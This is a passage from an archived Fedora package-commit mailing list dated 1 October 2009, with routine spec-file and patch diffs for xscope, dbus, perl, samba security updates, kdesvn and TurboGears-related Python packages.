-# git diff --diff-filter=ACMRT xscope-1.1 fccbbd6
-Patch0:         xscope-1.1-diff_to_git.patch
-# to build on Fedora 10 reduce the xorg-macros required version
-Patch1:         xscope-1.1-lessmacros.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  xorg-x11-xtrans-devel, xorg-x11-proto-devel
-# required for the autoreconf
-BuildRequires:  automake, autoconf, xorg-x11-util-macros
 
 %description
 xscope sits in-between an X11 client and an X11 server and prints the contents
@@ -26,10 +20,6 @@ servers and clients.
 
 %prep
 %setup -q
-%patch0 -p1 -b .diff_to_git
-%patch1 -p1 -b .lessmacros
-# required for changes in patch0 and patch1
-autoreconf -f
 
 %build
 %configure
@@ -53,6 +43,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Yanko Kaneti <yaneti at declera.com> 1.2-1
+- New upstream release. Drop patches.
+
 * Sun Jun 28 2009 Yanko Kaneti <yaneti at declera.com> 1.1-3.gitfccbbd6
 - The software has a MIT not BSD license
 



From yaneti at fedoraproject.org  Thu Oct  1 14:33:23 2009
From: yaneti at fedoraproject.org (Yanko Kaneti)
Date: Thu,  1 Oct 2009 14:33:23 +0000 (UTC)
Subject: rpms/xscope/F-10 .cvsignore, 1.2, 1.3 sources, 1.2, 1.3 xscope.spec,
	1.1, 1.2
Message-ID: <20091001143323.EE9F411C00C1@cvs1.fedora.phx.redhat.com>

Author: yaneti

Update of /cvs/pkgs/rpms/xscope/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17475

Modified Files:
	.cvsignore sources xscope.spec 
Log Message:
1.2-1
New upstream release. Drop patches.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xscope/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Jul 2009 05:24:08 -0000	1.2
+++ .cvsignore	1 Oct 2009 14:33:23 -0000	1.3
@@ -1 +1 @@
-xscope-1.1.tar.bz2
+xscope-1.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xscope/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Jul 2009 05:24:08 -0000	1.2
+++ sources	1 Oct 2009 14:33:23 -0000	1.3
@@ -1 +1 @@
-c37ec177b56d5909584c1672b6beabd5  xscope-1.1.tar.bz2
+1a9df0ac0dd5a2c2a7948dcf48d126c3  xscope-1.2.tar.bz2


Index: xscope.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xscope/F-10/xscope.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xscope.spec	1 Jul 2009 05:24:09 -0000	1.1
+++ xscope.spec	1 Oct 2009 14:33:23 -0000	1.2
@@ -1,21 +1,15 @@
 Name:           xscope
-Version:        1.1
-Release:        3.gitfccbbd6%{?dist}
+Version:        1.2
+Release:        1%{?dist}
 Summary:        X Window Protocol Viewer
 
 Group:          User Interface/X
 License:        MIT
 URL:            http://cgit.freedesktop.org/xorg/app/xscope/
 Source0:        ftp://ftp.freedesktop.org/pub/xorg/individual/app/%{name}-%{version}.tar.bz2
-# git diff --diff-filter=ACMRT xscope-1.1 fccbbd6
-Patch0:         xscope-1.1-diff_to_git.patch
-# to build on Fedora 10 reduce the xorg-macros required version
-Patch1:         xscope-1.1-lessmacros.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  xorg-x11-xtrans-devel, xorg-x11-proto-devel
-# required for the autoreconf
-BuildRequires:  automake, autoconf, xorg-x11-util-macros
 
 %description
 xscope sits in-between an X11 client and an X11 server and prints the contents
@@ -26,10 +20,6 @@ servers and clients.
 
 %prep
 %setup -q
-%patch0 -p1 -b .diff_to_git
-%patch1 -p1 -b .lessmacros
-# required for changes in patch0 and patch1
-autoreconf -f
 
 %build
 %configure
@@ -53,6 +43,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Yanko Kaneti <yaneti at declera.com> 1.2-1
+- New upstream release. Drop patches.
+
 * Sun Jun 28 2009 Yanko Kaneti <yaneti at declera.com> 1.1-3.gitfccbbd6
 - The software has a MIT not BSD license
 



From mclasen at fedoraproject.org  Thu Oct  1 14:40:59 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu,  1 Oct 2009 14:40:59 +0000 (UTC)
Subject: rpms/dbus/F-12 fix-timeout-accounting.patch, NONE, 1.1 dbus.spec,
	1.173, 1.174
Message-ID: <20091001144059.87C2B11C048B@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/dbus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18756

Modified Files:
	dbus.spec 
Added Files:
	fix-timeout-accounting.patch 
Log Message:
Fix timeout accounting


fix-timeout-accounting.patch:
 dbus-connection.c |   14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

--- NEW FILE fix-timeout-accounting.patch ---
Index: dbus-1.2.16/dbus/dbus-connection.c
===================================================================
--- dbus-1.2.16.orig/dbus/dbus-connection.c	2009-10-01 14:10:21.000000000 +0100
+++ dbus-1.2.16/dbus/dbus-connection.c	2009-10-01 14:13:16.000000000 +0100
@@ -2386,7 +2386,7 @@
            */
           _dbus_verbose ("dbus_connection_send_with_reply_and_block() waiting for more memory\n");
 
-          _dbus_memory_pause_based_on_timeout (timeout_milliseconds);
+          _dbus_memory_pause_based_on_timeout (timeout_milliseconds - elapsed_milliseconds);
         }
       else
         {          
@@ -2394,7 +2394,7 @@
           _dbus_connection_do_iteration_unlocked (connection,
                                                   DBUS_ITERATION_DO_READING |
                                                   DBUS_ITERATION_BLOCK,
-                                                  timeout_milliseconds);
+                                                  timeout_milliseconds - elapsed_milliseconds);
         }
 
       goto recheck_status;
@@ -2403,9 +2403,7 @@
     _dbus_verbose ("dbus_connection_send_with_reply_and_block(): clock set backward\n");
   else if (elapsed_milliseconds < timeout_milliseconds)
     {
-      timeout_milliseconds -= elapsed_milliseconds;
-      _dbus_verbose ("dbus_connection_send_with_reply_and_block(): %d milliseconds remain\n", timeout_milliseconds);
-      _dbus_assert (timeout_milliseconds >= 0);
+      _dbus_verbose ("dbus_connection_send_with_reply_and_block(): %d milliseconds remain\n", timeout_milliseconds - elapsed_milliseconds);
       
       if (status == DBUS_DISPATCH_NEED_MEMORY)
         {
@@ -2415,7 +2413,7 @@
            */
           _dbus_verbose ("dbus_connection_send_with_reply_and_block() waiting for more memory\n");
 
-          _dbus_memory_pause_based_on_timeout (timeout_milliseconds);
+          _dbus_memory_pause_based_on_timeout (timeout_milliseconds - elapsed_milliseconds);
         }
       else
         {          
@@ -2423,14 +2421,14 @@
           _dbus_connection_do_iteration_unlocked (connection,
                                                   DBUS_ITERATION_DO_READING |
                                                   DBUS_ITERATION_BLOCK,
-                                                  timeout_milliseconds);
+                                                  timeout_milliseconds - elapsed_milliseconds);
         }
 
       goto recheck_status;
     }
 
   _dbus_verbose ("dbus_connection_send_with_reply_and_block(): Waited %ld milliseconds and got no reply\n",
-                 (tv_sec - start_tv_sec) * 1000 + (tv_usec - start_tv_usec) / 1000);
+                 elapsed_milliseconds);
 
   _dbus_assert (!_dbus_pending_call_get_completed_unlocked (pending));
   


Index: dbus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbus/F-12/dbus.spec,v
retrieving revision 1.173
retrieving revision 1.174
diff -u -p -r1.173 -r1.174
--- dbus.spec	21 Aug 2009 10:25:24 -0000	1.173
+++ dbus.spec	1 Oct 2009 14:40:57 -0000	1.174
@@ -9,7 +9,7 @@ Summary: D-BUS message bus
 Name: dbus
 Epoch: 1
 Version: 1.2.16
-Release: 5%{?dist}
+Release: 6%{?dist}
 URL: http://www.freedesktop.org/software/dbus/
 Source0: http://dbus.freedesktop.org/releases/dbus/%{name}-%{version}.tar.gz
 Source1: doxygen_to_devhelp.xsl
@@ -41,6 +41,9 @@ Conflicts: cups < 1:1.1.20-4
 Patch0: start-early.patch
 Patch1: dbus-1.0.1-generate-xml-docs.patch
 
+# from upstream
+Patch2: fix-timeout-accounting.patch
+
 %description
 D-BUS is a system for sending messages between applications. It is
 used both for the system-wide message bus service, and as a
@@ -94,6 +97,7 @@ in this separate package so server syste
 
 %patch0 -p1 -b .start-early
 %patch1 -p1 -b .generate-xml-docs
+%patch2 -p1 -b .fix-timeout-accounting
 
 autoreconf -f -i
 
@@ -226,6 +230,9 @@ fi
 %{_includedir}/*
 
 %changelog
+* Thu Oct  1 2009 Matthias Clasen <mclasen at redhat.com> - 1:1.2.16-6
+- Fix timeout accounting
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1:1.2.16-5
 - rebuilt with new audit
 



From cweyl at fedoraproject.org  Thu Oct  1 14:41:54 2009
From: cweyl at fedoraproject.org (Chris Weyl)
Date: Thu,  1 Oct 2009 14:41:54 +0000 (UTC)
Subject: rpms/perl/devel macros.perl,1.2,1.3 perl.spec,1.233,1.234
Message-ID: <20091001144154.0929F11C048B@cvs1.fedora.phx.redhat.com>

Author: cweyl

Update of /cvs/extras/rpms/perl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19485

Modified Files:
	macros.perl perl.spec 
Log Message:
* Thu Oct 01 2009 Chris Weyl <cweyl at alumni.drew.edu> - 4:5.10.0-84
- add /perl(UNIVERSAL)/d; /perl(DB)/d to perl_default_filter auto-provides
  filtering



Index: macros.perl
===================================================================
RCS file: /cvs/extras/rpms/perl/devel/macros.perl,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- macros.perl	28 Aug 2009 05:39:58 -0000	1.2
+++ macros.perl	1 Oct 2009 14:41:52 -0000	1.3
@@ -5,6 +5,11 @@
 #
 # Chris Weyl <cweyl at alumni.drew.edu> 2009
 
+# keep track of what "revision" of the filtering we're at.  Each time we
+# change the filter we should increment this.
+
+%perl_default_filter_revision 2
+
 # By default, for perl packages we want to filter all files in _docdir from 
 # req/prov scanning, as well as filtering out any provides caused by private 
 # libs in vendorarch/archlib (vendor/core).
@@ -15,6 +20,7 @@
 %perl_default_filter %{?filter_setup: %{expand: \
 %filter_provides_in %{perl_vendorarch}/.*\\.so$ \
 %filter_provides_in -P %{perl_archlib}/(?!CORE/libperl).*\\.so$ \
+%filter_from_provides /perl(UNIVERSAL)/d; /perl(DB)/d \
 %filter_provides_in %{_docdir} \
 %filter_requires_in %{_docdir} \
 %filter_setup \


Index: perl.spec
===================================================================
RCS file: /cvs/extras/rpms/perl/devel/perl.spec,v
retrieving revision 1.233
retrieving revision 1.234
diff -u -p -r1.233 -r1.234
--- perl.spec	1 Oct 2009 12:33:58 -0000	1.233
+++ perl.spec	1 Oct 2009 14:41:53 -0000	1.234
@@ -7,7 +7,7 @@
 
 Name:           perl
 Version:        %{perl_version}
-Release:        83%{?dist}
+Release:        84%{?dist}
 Epoch:          %{perl_epoch}
 Summary:        Practical Extraction and Report Language
 Group:          Development/Languages
@@ -1947,6 +1947,10 @@ TMPDIR="$PWD/tmp" make test
 
 # Old changelog entries are preserved in CVS.
 %changelog
+* Thu Oct 01 2009 Chris Weyl <cweyl at alumni.drew.edu> - 4:5.10.0-84
+- add /perl(UNIVERSAL)/d; /perl(DB)/d to perl_default_filter auto-provides
+  filtering
+
 * Thu Oct  1 2009 Stepan Kasal <skasal at redhat.com> - 4:5.10.0-83
 - update Storable to 2.21
 



From gd at fedoraproject.org  Thu Oct  1 14:43:14 2009
From: gd at fedoraproject.org (Guenther Deschner)
Date: Thu,  1 Oct 2009 14:43:14 +0000 (UTC)
Subject: rpms/samba/devel .cvsignore, 1.66, 1.67 samba.spec, 1.196,
	1.197 sources, 1.70, 1.71
Message-ID: <20091001144314.2871E11C00C1@cvs1.fedora.phx.redhat.com>

Author: gd

Update of /cvs/pkgs/rpms/samba/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20253

Modified Files:
	.cvsignore samba.spec sources 
Log Message:
Update to 3.4.2
Security Release, fixes CVE-2009-2813, CVE-2009-2948 and CVE-2009-2906

Guenther




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/samba/devel/.cvsignore,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- .cvsignore	9 Sep 2009 14:08:31 -0000	1.66
+++ .cvsignore	1 Oct 2009 14:43:13 -0000	1.67
@@ -1 +1 @@
-samba-3.4.1.tar.gz
+samba-3.4.2.tar.gz


Index: samba.spec
===================================================================
RCS file: /cvs/pkgs/rpms/samba/devel/samba.spec,v
retrieving revision 1.196
retrieving revision 1.197
diff -u -p -r1.196 -r1.197
--- samba.spec	16 Sep 2009 18:43:49 -0000	1.196
+++ samba.spec	1 Oct 2009 14:43:13 -0000	1.197
@@ -1,5 +1,5 @@
-%define main_release 45
-%define samba_version 3.4.1
+%define main_release 46
+%define samba_version 3.4.2
 %define tdb_version 1.1.3
 %define talloc_version 1.3.0
 #%define pre_release rc1
@@ -884,6 +884,10 @@ exit 0
 %{_datadir}/pixmaps/samba/logo-small.png
 
 %changelog
+* Thu Oct 01 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.2-0.46
+- Update to 3.4.2
+- Security Release, fixes CVE-2009-2813, CVE-2009-2948 and CVE-2009-2906
+
 * Wed Sep 16 2009 Tomas Mraz <tmraz at redhat.com> - 3.4.1-0.45
 - Use password-auth common PAM configuration instead of system-auth
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/samba/devel/sources,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- sources	9 Sep 2009 14:08:31 -0000	1.70
+++ sources	1 Oct 2009 14:43:13 -0000	1.71
@@ -1 +1 @@
-f857c534148e28b686996d232da76cec  samba-3.4.1.tar.gz
+85fefafbeb94181c9df4b752e5ed7049  samba-3.4.2.tar.gz



From gd at fedoraproject.org  Thu Oct  1 14:44:09 2009
From: gd at fedoraproject.org (Guenther Deschner)
Date: Thu,  1 Oct 2009 14:44:09 +0000 (UTC)
Subject: rpms/samba/F-12 .cvsignore, 1.66, 1.67 samba.spec, 1.196,
	1.197 sources, 1.70, 1.71
Message-ID: <20091001144409.0346D11C00C1@cvs1.fedora.phx.redhat.com>

Author: gd

Update of /cvs/pkgs/rpms/samba/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20728

Modified Files:
	.cvsignore samba.spec sources 
Log Message:
Update to 3.4.2
Security Release, fixes CVE-2009-2813, CVE-2009-2948 and CVE-2009-2906

Guenther




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-12/.cvsignore,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- .cvsignore	9 Sep 2009 14:08:31 -0000	1.66
+++ .cvsignore	1 Oct 2009 14:44:08 -0000	1.67
@@ -1 +1 @@
-samba-3.4.1.tar.gz
+samba-3.4.2.tar.gz


Index: samba.spec
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-12/samba.spec,v
retrieving revision 1.196
retrieving revision 1.197
diff -u -p -r1.196 -r1.197
--- samba.spec	16 Sep 2009 18:43:49 -0000	1.196
+++ samba.spec	1 Oct 2009 14:44:08 -0000	1.197
@@ -1,5 +1,5 @@
-%define main_release 45
-%define samba_version 3.4.1
+%define main_release 46
+%define samba_version 3.4.2
 %define tdb_version 1.1.3
 %define talloc_version 1.3.0
 #%define pre_release rc1
@@ -884,6 +884,10 @@ exit 0
 %{_datadir}/pixmaps/samba/logo-small.png
 
 %changelog
+* Thu Oct 01 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.2-0.46
+- Update to 3.4.2
+- Security Release, fixes CVE-2009-2813, CVE-2009-2948 and CVE-2009-2906
+
 * Wed Sep 16 2009 Tomas Mraz <tmraz at redhat.com> - 3.4.1-0.45
 - Use password-auth common PAM configuration instead of system-auth
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-12/sources,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- sources	9 Sep 2009 14:08:31 -0000	1.70
+++ sources	1 Oct 2009 14:44:08 -0000	1.71
@@ -1 +1 @@
-f857c534148e28b686996d232da76cec  samba-3.4.1.tar.gz
+85fefafbeb94181c9df4b752e5ed7049  samba-3.4.2.tar.gz



From lmacken at fedoraproject.org  Thu Oct  1 14:44:15 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu,  1 Oct 2009 14:44:15 +0000 (UTC)
Subject: rpms/python-tg-devtools/devel python-tg-devtools.spec,1.1,1.2
Message-ID: <20091001144415.BAD8111C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-tg-devtools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20798

Modified Files:
	python-tg-devtools.spec 
Log Message:
Apply patch from #468804 to fix version requirements


Index: python-tg-devtools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-tg-devtools/devel/python-tg-devtools.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- python-tg-devtools.spec	30 Sep 2009 21:39:44 -0000	1.1
+++ python-tg-devtools.spec	1 Oct 2009 14:44:15 -0000	1.2
@@ -3,7 +3,7 @@
 
 Name:           python-tg-devtools
 Version:        2.0.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Development tools and templates for TurboGears2
 
 Group:          Development/Languages
@@ -21,7 +21,7 @@ BuildRequires:  python-repoze-what-quick
 BuildRequires:  python-zope-sqlalchemy
 
 BuildRequires:  python-paste-script python-tempita python-webtest
-BuildRequires:  python-migrate0.5 python-repoze-who python-repoze-who-testutil
+BuildRequires:  python-repoze-who python-repoze-who-testutil
 BuildRequires:  python-babel
 BuildRequires:  TurboGears2
 
@@ -41,14 +41,10 @@ Requires:       python-hashlib
 %if 0%{?fedora} > 10
 Requires:       python-sqlalchemy
 Requires:       python-migrate
+BuildRequires:  python-migrate
 %else
 BuildRequires:  python-sqlalchemy0.5
 BuildRequires:  python-migrate0.5
-
-# Including these to hack around some setuptools bugs...
-BuildRequires:  python-sqlalchemy
-BuildRequires:  python-migrate
-
 Requires:       python-sqlalchemy0.5
 Requires:       python-migrate0.5
 %endif
@@ -71,6 +67,8 @@ TurboGears2 development.
 %install
 rm -rf %{buildroot}
 %{__python} setup.py install -O1 --skip-build --root %{buildroot}
+# remove wrong script interpreter
+sed -i '1s/^#!python//' %{buildroot}%{python_sitelib}/devtools/templates/turbogears/ez_setup/__init__.py
 
 
 %check
@@ -81,7 +79,7 @@ rm -rf %{buildroot}
 
 
 %files
-%defattr(-,root,root,-)
+%defattr(0644,root,root,0755)
 %doc
 %{python_sitelib}/devtools/
 %{python_sitelib}/tg.devtools-%{version}-py%{pyver}.egg-info/
@@ -89,6 +87,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 01 2009 Luke Macken <lmacken at redhat.com> - 2.0.2-3
+- Apply patch from #468804 to fix version requirements
+
 * Tue Sep 01 2009 Luke Macken <lmacken at redhat.com> - 2.0.2-2
 - Update SQLAlchemy0.5 patch
 - Include both version of SQLAlchemy to get the test suite to run



From gd at fedoraproject.org  Thu Oct  1 14:44:59 2009
From: gd at fedoraproject.org (Guenther Deschner)
Date: Thu,  1 Oct 2009 14:44:59 +0000 (UTC)
Subject: rpms/samba/F-11 .cvsignore, 1.64, 1.65 samba.spec, 1.190,
	1.191 sources, 1.68, 1.69
Message-ID: <20091001144459.DE61F11C00C1@cvs1.fedora.phx.redhat.com>

Author: gd

Update of /cvs/pkgs/rpms/samba/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21069

Modified Files:
	.cvsignore samba.spec sources 
Log Message:
Update to 3.4.2
Security Release, fixes CVE-2009-2813, CVE-2009-2948 and CVE-2009-2906

Guenther



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-11/.cvsignore,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- .cvsignore	9 Sep 2009 14:17:24 -0000	1.64
+++ .cvsignore	1 Oct 2009 14:44:59 -0000	1.65
@@ -1 +1 @@
-samba-3.4.1.tar.gz
+samba-3.4.2.tar.gz


Index: samba.spec
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-11/samba.spec,v
retrieving revision 1.190
retrieving revision 1.191
diff -u -p -r1.190 -r1.191
--- samba.spec	9 Sep 2009 14:17:24 -0000	1.190
+++ samba.spec	1 Oct 2009 14:44:59 -0000	1.191
@@ -1,5 +1,5 @@
-%define main_release 41
-%define samba_version 3.4.1
+%define main_release 42
+%define samba_version 3.4.2
 %define tdb_version 1.1.3
 %define talloc_version 1.2.0
 %define pre_release %nil
@@ -883,6 +883,10 @@ exit 0
 %{_datadir}/pixmaps/samba/logo-small.png
 
 %changelog
+* Thu Oct 01 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.2-0.42
+- Update to 3.4.2
+- Security Release, fixes CVE-2009-2813, CVE-2009-2948 and CVE-2009-2906
+
 * Wed Sep 09 2009 Guenther Deschner <gdeschner at redhat.com> - 3.4.1.0-41
 - Update to 3.4.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-11/sources,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- sources	9 Sep 2009 14:17:24 -0000	1.68
+++ sources	1 Oct 2009 14:44:59 -0000	1.69
@@ -1 +1 @@
-f857c534148e28b686996d232da76cec  samba-3.4.1.tar.gz
+85fefafbeb94181c9df4b752e5ed7049  samba-3.4.2.tar.gz



From gd at fedoraproject.org  Thu Oct  1 14:47:36 2009
From: gd at fedoraproject.org (Guenther Deschner)
Date: Thu,  1 Oct 2009 14:47:36 +0000 (UTC)
Subject: rpms/samba/F-10 .cvsignore, 1.63, 1.64 samba.spec, 1.178,
	1.179 sources, 1.68, 1.69
Message-ID: <20091001144736.DB3FD11C00C1@cvs1.fedora.phx.redhat.com>

Author: gd

Update of /cvs/pkgs/rpms/samba/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21491

Modified Files:
	.cvsignore samba.spec sources 
Log Message:
Update to 3.2.15
Security Release, fixes CVE-2009-2813, CVE-2009-2948 and CVE-2009-2906

Guenther



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-10/.cvsignore,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- .cvsignore	4 Sep 2009 13:14:09 -0000	1.63
+++ .cvsignore	1 Oct 2009 14:47:36 -0000	1.64
@@ -1 +1 @@
-samba-3.2.14.tar.gz
+samba-3.2.15.tar.gz


Index: samba.spec
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-10/samba.spec,v
retrieving revision 1.178
retrieving revision 1.179
diff -u -p -r1.178 -r1.179
--- samba.spec	4 Sep 2009 13:14:10 -0000	1.178
+++ samba.spec	1 Oct 2009 14:47:36 -0000	1.179
@@ -1,5 +1,5 @@
-%define main_release 35
-%define samba_version 3.2.14
+%define main_release 36
+%define samba_version 3.2.15
 %define tdb_version 1.1.1
 %define talloc_version 1.2.0
 
@@ -8,7 +8,7 @@
 Summary: The Samba Suite of programs
 Name: samba
 Epoch: 0
-Version: 3.2.14
+Version: 3.2.15
 Release: %{samba_release}
 License: GPLv3+ and LGPLv3+
 Group: System Environment/Daemons
@@ -826,6 +826,10 @@ exit 0
 %{_datadir}/pixmaps/samba/logo-small.png
 
 %changelog
+* Thu Oct 01 2009 Guenther Deschner <gdeschner at redhat.com> - 3.2.15-0.36
+- Update to 3.2.15
+- Security Release, fixes CVE-2009-2813, CVE-2009-2948 and CVE-2009-2906
+
 * Fri Sep  4 2009 Simo Sorce <ssorce at redhat.com> - 3.2.14-0.35
 - Update to 3.2.14
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/samba/F-10/sources,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- sources	4 Sep 2009 13:14:10 -0000	1.68
+++ sources	1 Oct 2009 14:47:36 -0000	1.69
@@ -1 +1 @@
-6c744ab876f2199ebc432d41ecf0b743  samba-3.2.14.tar.gz
+5a3bcc4927c9643b9f42970d0815b18f  samba-3.2.15.tar.gz



From jreznik at fedoraproject.org  Thu Oct  1 14:54:24 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Thu,  1 Oct 2009 14:54:24 +0000 (UTC)
Subject: rpms/kdesvn/F-12 .cvsignore, 1.31, 1.32 kdesvn.spec, 1.59,
	1.60 sources, 1.30, 1.31
Message-ID: <20091001145424.3A9B911C0423@cvs1.fedora.phx.redhat.com>

Author: jreznik

Update of /cvs/pkgs/rpms/kdesvn/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22272

Modified Files:
	.cvsignore kdesvn.spec sources 
Log Message:
* Thu Oct 01 2009 Jaroslav Reznik <jreznik at redhat.com> - 1.4.1-1
- Update to 1.4.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdesvn/F-12/.cvsignore,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- .cvsignore	10 Aug 2009 10:19:36 -0000	1.31
+++ .cvsignore	1 Oct 2009 14:54:23 -0000	1.32
@@ -1 +1 @@
-kdesvn-1.4.0.tar.bz2
+kdesvn-1.4.1.tar.bz2


Index: kdesvn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdesvn/F-12/kdesvn.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- kdesvn.spec	10 Aug 2009 10:19:36 -0000	1.59
+++ kdesvn.spec	1 Oct 2009 14:54:23 -0000	1.60
@@ -1,5 +1,5 @@
 Name:           kdesvn
-Version:        1.4.0
+Version:        1.4.1
 Release:        1%{?dist}
 Summary:        A subversion client for KDE4 with KIO integration
 
@@ -107,6 +107,9 @@ xdg-icon-resource forceupdate --theme hi
 
 
 %changelog
+* Thu Oct 01 2009 Jaroslav Reznik <jreznik at redhat.com> - 1.4.1-1
+- Update to 1.4.1
+
 * Mon Aug 10 2009 Jaroslav Reznik <jreznik at redhat.com> - 1.4.0-1
 - Update to 1.4.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdesvn/F-12/sources,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- sources	10 Aug 2009 10:19:36 -0000	1.30
+++ sources	1 Oct 2009 14:54:24 -0000	1.31
@@ -1 +1 @@
-e1766103e7680079c2c4d3ea0ad11187  kdesvn-1.4.0.tar.bz2
+e5778ff1c19e50392a13096ab6756521  kdesvn-1.4.1.tar.bz2



From lmacken at fedoraproject.org  Thu Oct  1 15:01:37 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu,  1 Oct 2009 15:01:37 +0000 (UTC)
Subject: rpms/python-tw-forms/devel .cvsignore, 1.4, 1.5 import.log, 1.1,
	1.2 python-tw-forms.spec, 1.6, 1.7 sources, 1.4, 1.5
Message-ID: <20091001150137.C66F711C0333@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-tw-forms/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23521/devel

Modified Files:
	.cvsignore import.log python-tw-forms.spec sources 
Log Message:
0.9.7.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	5 Jun 2009 17:05:33 -0000	1.4
+++ .cvsignore	1 Oct 2009 15:01:35 -0000	1.5
@@ -1 +1 @@
-tw.forms-0.9.6.tar.gz
+tw.forms-0.9.7.2.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	5 Aug 2008 03:02:22 -0000	1.1
+++ import.log	1 Oct 2009 15:01:36 -0000	1.2
@@ -1 +1,2 @@
 python-tw-forms-0_9_1-1_fc9:HEAD:python-tw-forms-0.9.1-1.fc9.src.rpm:1217879200
+python-tw-forms-0_9_7_2-1_fc11:HEAD:python-tw-forms-0.9.7.2-1.fc11.src.rpm:1254394452


Index: python-tw-forms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/devel/python-tw-forms.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- python-tw-forms.spec	27 Jul 2009 01:19:54 -0000	1.6
+++ python-tw-forms.spec	1 Oct 2009 15:01:36 -0000	1.7
@@ -3,8 +3,8 @@
 %define srcname tw.forms
 
 Name:           python-tw-forms
-Version:        0.9.6
-Release:        2%{?dist}
+Version:        0.9.7.2
+Release:        1%{?dist}
 Summary:        Web Widgets for building and validating forms in ToscaWidgets
 Group:          Development/Languages
 # The javascript for the calendar widget is licensed under LGPLv2.1+
@@ -16,7 +16,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildArch:      noarch
 BuildRequires:  python-devel
 BuildRequires:  python-setuptools
-Requires:       python-toscawidgets
+Requires:       python-toscawidgets >= 0.9.6
 Requires:       python-formencode >= 1.0.1
 
 %description
@@ -49,8 +49,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
